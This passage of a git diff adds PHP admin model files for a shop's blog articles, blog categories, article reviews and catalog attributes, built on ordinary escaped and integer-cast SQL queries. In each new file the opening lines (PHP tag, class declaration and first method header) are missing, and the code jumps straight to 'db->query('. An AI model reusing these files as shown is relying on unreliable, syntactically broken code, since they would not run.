+ public function getTotalArticles($data = array()) {
+ $sql = "SELECT COUNT(DISTINCT p.article_id) AS total FROM " . DB_PREFIX . "article p LEFT JOIN " . DB_PREFIX . "article_description pd ON (p.article_id = pd.article_id)";
+
+ $sql .= " WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && !is_null($data['filter_status'])) {
+ $sql .= " AND p.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (isset($data['filter_noindex']) && $data['filter_noindex'] !== null) {
+ $sql .= " AND p.noindex = '" . (int)$data['filter_noindex'] . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalArticlesByDownloadId($download_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "article_to_download WHERE download_id = '" . (int)$download_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalArticlesByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "article_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/blog/category.php b/public/admin/model/blog/category.php
new file mode 100644
index 0000000..9c1ef55
--- /dev/null
+++ b/public/admin/model/blog/category.php
@@ -0,0 +1,273 @@
+db->query("INSERT INTO " . DB_PREFIX . "blog_category SET parent_id = '" . (int)$data['parent_id'] . "', `top` = '" . (isset($data['top']) ? (int)$data['top'] : 0) . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', date_modified = NOW(), date_added = NOW()");
+ $blog_category_id = $this->db->getLastId();
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "blog_category SET image = '" . $this->db->escape($data['image']) . "' WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ }
+ foreach ($data['category_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "blog_category_description SET blog_category_id = '" . (int)$blog_category_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+ // MySQL Hierarchical Data Closure Table Pattern
+ $level = 0;
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$data['parent_id'] . "' ORDER BY `level` ASC");
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "blog_category_path` SET `blog_category_id` = '" . (int)$blog_category_id . "', `path_id` = '" . (int)$result['path_id'] . "', `level` = '" . (int)$level . "'");
+ $level++;
+ }
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "blog_category_path` SET `blog_category_id` = '" . (int)$blog_category_id . "', `path_id` = '" . (int)$blog_category_id . "', `level` = '" . (int)$level . "'");
+ if (isset($data['category_store'])) {
+ foreach ($data['category_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "blog_category_to_store SET blog_category_id = '" . (int)$blog_category_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['category_seo_url'])) {
+ foreach ($data['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'blog_category_id=" . (int)$blog_category_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+ // Set which layout to use with this category
+ if (isset($data['category_layout'])) {
+ foreach ($data['category_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "blog_category_to_layout SET blog_category_id = '" . (int)$blog_category_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+ $this->cache->delete('blog_category');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+ return $blog_category_id;
+ }
+ public function editCategory($blog_category_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "blog_category SET parent_id = '" . (int)$data['parent_id'] . "', `top` = '" . (isset($data['top']) ? (int)$data['top'] : 0) . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', date_modified = NOW() WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "blog_category SET image = '" . $this->db->escape($data['image']) . "' WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ }
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_description WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ foreach ($data['category_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "blog_category_description SET blog_category_id = '" . (int)$blog_category_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+ // MySQL Hierarchical Data Closure Table Pattern
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "blog_category_path` WHERE path_id = '" . (int)$blog_category_id . "' ORDER BY level ASC");
+ if ($query->rows) {
+ foreach ($query->rows as $category_path) {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$category_path['blog_category_id'] . "' AND level < '" . (int)$category_path['level'] . "'");
+ $path = array();
+ // Get the nodes new parents
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$data['parent_id'] . "' ORDER BY level ASC");
+ foreach ($query->rows as $result) {
+ $path[] = $result['path_id'];
+ }
+ // Get whats left of the nodes current path
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$category_path['blog_category_id'] . "' ORDER BY level ASC");
+ foreach ($query->rows as $result) {
+ $path[] = $result['path_id'];
+ }
+ // Combine the paths with a new level
+ $level = 0;
+ foreach ($path as $path_id) {
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "blog_category_path` SET blog_category_id = '" . (int)$category_path['blog_category_id'] . "', `path_id` = '" . (int)$path_id . "', level = '" . (int)$level . "'");
+ $level++;
+ }
+ }
+ } else {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ // Fix for records with no paths
+ $level = 0;
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$data['parent_id'] . "' ORDER BY level ASC");
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "blog_category_path` SET blog_category_id = '" . (int)$blog_category_id . "', `path_id` = '" . (int)$result['path_id'] . "', level = '" . (int)$level . "'");
+ $level++;
+ }
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "blog_category_path` SET blog_category_id = '" . (int)$blog_category_id . "', `path_id` = '" . (int)$blog_category_id . "', level = '" . (int)$level . "'");
+ }
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_to_store WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ if (isset($data['category_store'])) {
+ foreach ($data['category_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "blog_category_to_store SET blog_category_id = '" . (int)$blog_category_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ // SEO URL
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "seo_url` WHERE query = 'blog_category_id=" . (int)$blog_category_id . "'");
+ if (isset($data['category_seo_url'])) {
+ foreach ($data['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'blog_category_id=" . (int)$blog_category_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_to_layout WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ if (isset($data['category_layout'])) {
+ foreach ($data['category_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "blog_category_to_layout SET blog_category_id = '" . (int)$blog_category_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+ $this->cache->delete('category');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+ }
+
+ public function editCategoryStatus($blog_category_id, $status) {
+ $this->db->query("UPDATE " . DB_PREFIX . "blog_category SET status = '" . (int)$status . "', date_modified = NOW() WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+
+ $this->cache->delete('category');
+ }
+ public function deleteCategory($blog_category_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_path WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "blog_category_path WHERE path_id = '" . (int)$blog_category_id . "'");
+ foreach ($query->rows as $result) {
+ $this->deleteCategory($result['blog_category_id']);
+ }
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_description WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_to_store WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_to_layout WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_blog_category WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'blog_category_id=" . (int)$blog_category_id . "'");
+ $this->cache->delete('blog_category');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+ }
+ public function repairCategories($parent_id = 0) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "blog_category WHERE parent_id = '" . (int)$parent_id . "'");
+ foreach ($query->rows as $category) {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$category['blog_category_id'] . "'");
+ // Fix for records with no paths
+ $level = 0;
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$parent_id . "' ORDER BY level ASC");
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "blog_category_path` SET blog_category_id = '" . (int)$category['blog_category_id'] . "', `path_id` = '" . (int)$result['path_id'] . "', level = '" . (int)$level . "'");
+ $level++;
+ }
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "blog_category_path` SET blog_category_id = '" . (int)$category['blog_category_id'] . "', `path_id` = '" . (int)$category['blog_category_id'] . "', level = '" . (int)$level . "'");
+ $this->repairCategories($category['blog_category_id']);
+ }
+ }
+ public function getCategory($blog_category_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT GROUP_CONCAT(cd1.name ORDER BY level SEPARATOR ' > ') FROM " . DB_PREFIX . "blog_category_path cp LEFT JOIN " . DB_PREFIX . "blog_category_description cd1 ON (cp.path_id = cd1.blog_category_id AND cp.blog_category_id != cp.path_id) WHERE cp.blog_category_id = c.blog_category_id AND cd1.language_id = '" . (int)$this->config->get('config_language_id') . "' GROUP BY cp.blog_category_id) AS path FROM " . DB_PREFIX . "blog_category c LEFT JOIN " . DB_PREFIX . "blog_category_description cd2 ON (c.blog_category_id = cd2.blog_category_id) WHERE c.blog_category_id = '" . (int)$blog_category_id . "' AND cd2.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+ return $query->row;
+ }
+ public function getCategories($data = array()) {
+ $sql = "SELECT cp.blog_category_id AS blog_category_id, GROUP_CONCAT(cd1.name ORDER BY cp.level SEPARATOR ' > ') AS name, c1.parent_id, c1.sort_order, c1.noindex FROM " . DB_PREFIX . "blog_category_path cp LEFT JOIN " . DB_PREFIX . "blog_category c1 ON (cp.blog_category_id = c1.blog_category_id) LEFT JOIN " . DB_PREFIX . "blog_category c2 ON (cp.path_id = c2.blog_category_id) LEFT JOIN " . DB_PREFIX . "blog_category_description cd1 ON (cp.path_id = cd1.blog_category_id) LEFT JOIN " . DB_PREFIX . "blog_category_description cd2 ON (cp.blog_category_id = cd2.blog_category_id) WHERE cd1.language_id = '" . (int)$this->config->get('config_language_id') . "' AND cd2.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND cd2.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+ $sql .= " GROUP BY cp.blog_category_id";
+ $sort_data = array(
+ 'name',
+ 'sort_order',
+ 'noindex'
+ );
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY sort_order";
+ }
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+ $query = $this->db->query($sql);
+ return $query->rows;
+ }
+ public function getCategoryDescriptions($blog_category_id) {
+ $category_description_data = array();
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "blog_category_description WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ foreach ($query->rows as $result) {
+ $category_description_data[$result['language_id']] = array(
+ 'name' => $result['name'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword'],
+ 'description' => $result['description']
+ );
+ }
+ return $category_description_data;
+ }
+ public function getCategoryStores($blog_category_id) {
+ $category_store_data = array();
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "blog_category_to_store WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ foreach ($query->rows as $result) {
+ $category_store_data[] = $result['store_id'];
+ }
+ return $category_store_data;
+ }
+
+ public function getCategorySeoUrls($blog_category_id) {
+ $category_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'blog_category_id=" . (int)$blog_category_id . "'");
+ foreach ($query->rows as $result) {
+ $category_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+ return $category_seo_url_data;
+ }
+ public function getCategoryLayouts($blog_category_id) {
+ $category_layout_data = array();
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "blog_category_to_layout WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ foreach ($query->rows as $result) {
+ $category_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+ return $category_layout_data;
+ }
+ public function getTotalCategories() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "blog_category");
+ return $query->row['total'];
+ }
+
+ public function getTotalCategoriesByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "blog_category_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+ return $query->row['total'];
+ }
+
+ public function getCategoriesByParentId($parent_id = 0) {
+ $query = $this->db->query("SELECT *, (SELECT COUNT(parent_id) FROM " . DB_PREFIX . "blog_category WHERE parent_id = c.blog_category_id) AS children FROM " . DB_PREFIX . "blog_category c LEFT JOIN " . DB_PREFIX . "blog_category_description cd ON (c.blog_category_id = cd.blog_category_id) WHERE c.parent_id = '" . (int)$parent_id . "' AND cd.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY c.sort_order, cd.name");
+ return $query->rows;
+ }
+
+ public function getAllCategories() {
+ $category_data = $this->cache->get('category.all.' . $this->config->get('config_language_id') . '.' . (int)$this->config->get('config_store_id'));
+ if (!$category_data || !is_array($category_data)) {
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "blog_category c LEFT JOIN " . DB_PREFIX . "blog_category_description cd ON (c.blog_category_id = cd.blog_category_id) LEFT JOIN " . DB_PREFIX . "blog_category_to_store c2s ON (c.blog_category_id = c2s.blog_category_id) WHERE cd.language_id = '" . (int)$this->config->get('config_language_id') . "' AND c2s.store_id = '" . (int)$this->config->get('config_store_id') . "' ORDER BY c.parent_id, c.sort_order, cd.name");
+ $category_data = array();
+
+ foreach ($query->rows as $row) {
+ $category_data[$row['parent_id']][$row['blog_category_id']] = $row;
+ }
+ $this->cache->set('category.all.' . $this->config->get('config_language_id') . '.' . (int)$this->config->get('config_store_id'), $category_data);
+ }
+
+ return $category_data;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/blog/review.php b/public/admin/model/blog/review.php
new file mode 100644
index 0000000..0f3d268
--- /dev/null
+++ b/public/admin/model/blog/review.php
@@ -0,0 +1,119 @@
+db->query("INSERT INTO " . DB_PREFIX . "review_article SET author = '" . $this->db->escape($data['author']) . "', article_id = '" . (int)$data['article_id'] . "', text = '" . $this->db->escape(strip_tags($data['text'])) . "', rating = '" . (int)$data['rating'] . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "'");
+
+ $review_article_id = $this->db->getLastId();
+
+ $this->cache->delete('article');
+
+ return $review_article_id;
+ }
+
+ public function editReview($review_article_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "review_article SET author = '" . $this->db->escape($data['author']) . "', article_id = '" . (int)$data['article_id'] . "', text = '" . $this->db->escape(strip_tags($data['text'])) . "', rating = '" . (int)$data['rating'] . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "', date_modified = NOW() WHERE review_article_id = '" . (int)$review_article_id . "'");
+
+ $this->cache->delete('article');
+ }
+
+ public function deleteReview($review_article_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "review_article WHERE review_article_id = '" . (int)$review_article_id . "'");
+
+ $this->cache->delete('article');
+ }
+
+ public function getReview($review_article_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT pd.name FROM " . DB_PREFIX . "article_description pd WHERE pd.article_id = r.article_id AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS article FROM " . DB_PREFIX . "review_article r WHERE r.review_article_id = '" . (int)$review_article_id . "'");
+
+ return $query->row;
+ }
+
+ public function getReviews($data = array()) {
+ $sql = "SELECT r.review_article_id, pd.name, r.author, r.rating, r.status, r.date_added FROM " . DB_PREFIX . "review_article r LEFT JOIN " . DB_PREFIX . "article_description pd ON (r.article_id = pd.article_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_article'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_article']) . "%'";
+ }
+
+ if (!empty($data['filter_author'])) {
+ $sql .= " AND r.author LIKE '" . $this->db->escape($data['filter_author']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $sql .= " AND r.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $sort_data = array(
+ 'pd.name',
+ 'r.author',
+ 'r.rating',
+ 'r.status',
+ 'r.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY r.date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalReviews($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM " . DB_PREFIX . "review_article r LEFT JOIN " . DB_PREFIX . "article_description pd ON (r.article_id = pd.article_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_article'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_article']) . "%'";
+ }
+
+ if (!empty($data['filter_author'])) {
+ $sql .= " AND r.author LIKE '" . $this->db->escape($data['filter_author']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $sql .= " AND r.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalReviewsAwaitingApproval() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "review_article WHERE status = '0'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/catalog/attribute.php b/public/admin/model/catalog/attribute.php
new file mode 100644
index 0000000..a4a35c6
--- /dev/null
+++ b/public/admin/model/catalog/attribute.php
@@ -0,0 +1,105 @@
+db->query("INSERT INTO " . DB_PREFIX . "attribute SET attribute_group_id = '" . (int)$data['attribute_group_id'] . "', sort_order = '" . (int)$data['sort_order'] . "'");
+
+ $attribute_id = $this->db->getLastId();
+
+ foreach ($data['attribute_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "attribute_description SET attribute_id = '" . (int)$attribute_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ return $attribute_id;
+ }
+
+ public function editAttribute($attribute_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "attribute SET attribute_group_id = '" . (int)$data['attribute_group_id'] . "', sort_order = '" . (int)$data['sort_order'] . "' WHERE attribute_id = '" . (int)$attribute_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "attribute_description WHERE attribute_id = '" . (int)$attribute_id . "'");
+
+ foreach ($data['attribute_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "attribute_description SET attribute_id = '" . (int)$attribute_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+ }
+
+ public function deleteAttribute($attribute_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "attribute WHERE attribute_id = '" . (int)$attribute_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "attribute_description WHERE attribute_id = '" . (int)$attribute_id . "'");
+ }
+
+ public function getAttribute($attribute_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "attribute a LEFT JOIN " . DB_PREFIX . "attribute_description ad ON (a.attribute_id = ad.attribute_id) WHERE a.attribute_id = '" . (int)$attribute_id . "' AND ad.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getAttributes($data = array()) {
+ $sql = "SELECT *, (SELECT agd.name FROM " . DB_PREFIX . "attribute_group_description agd WHERE agd.attribute_group_id = a.attribute_group_id AND agd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS attribute_group FROM " . DB_PREFIX . "attribute a LEFT JOIN " . DB_PREFIX . "attribute_description ad ON (a.attribute_id = ad.attribute_id) WHERE ad.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND ad.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_attribute_group_id'])) {
+ $sql .= " AND a.attribute_group_id = '" . $this->db->escape($data['filter_attribute_group_id']) . "'";
+ }
+
+ $sort_data = array(
+ 'ad.name',
+ 'attribute_group',
+ 'a.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY attribute_group, ad.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getAttributeDescriptions($attribute_id) {
+ $attribute_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "attribute_description WHERE attribute_id = '" . (int)$attribute_id . "'");
+
+ foreach ($query->rows as $result) {
+ $attribute_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $attribute_data;
+ }
+
+ public function getTotalAttributes() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "attribute");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalAttributesByAttributeGroupId($attribute_group_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "attribute WHERE attribute_group_id = '" . (int)$attribute_group_id . "'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/catalog/attribute_group.php b/public/admin/model/catalog/attribute_group.php
new file mode 100644
index 0000000..12a5591
--- /dev/null
+++ b/public/admin/model/catalog/attribute_group.php
@@ -0,0 +1,90 @@
+db->query("INSERT INTO " . DB_PREFIX . "attribute_group SET sort_order = '" . (int)$data['sort_order'] . "'");
+
+ $attribute_group_id = $this->db->getLastId();
+
+ foreach ($data['attribute_group_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "attribute_group_description SET attribute_group_id = '" . (int)$attribute_group_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ return $attribute_group_id;
+ }
+
+ public function editAttributeGroup($attribute_group_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "attribute_group SET sort_order = '" . (int)$data['sort_order'] . "' WHERE attribute_group_id = '" . (int)$attribute_group_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "attribute_group_description WHERE attribute_group_id = '" . (int)$attribute_group_id . "'");
+
+ foreach ($data['attribute_group_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "attribute_group_description SET attribute_group_id = '" . (int)$attribute_group_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+ }
+
+ public function deleteAttributeGroup($attribute_group_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "attribute_group WHERE attribute_group_id = '" . (int)$attribute_group_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "attribute_group_description WHERE attribute_group_id = '" . (int)$attribute_group_id . "'");
+ }
+
+ public function getAttributeGroup($attribute_group_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "attribute_group WHERE attribute_group_id = '" . (int)$attribute_group_id . "'");
+
+ return $query->row;
+ }
+
+ public function getAttributeGroups($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "attribute_group ag LEFT JOIN " . DB_PREFIX . "attribute_group_description agd ON (ag.attribute_group_id = agd.attribute_group_id) WHERE agd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'agd.name',
+ 'ag.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY agd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getAttributeGroupDescriptions($attribute_group_id) {
+ $attribute_group_data = array();
+
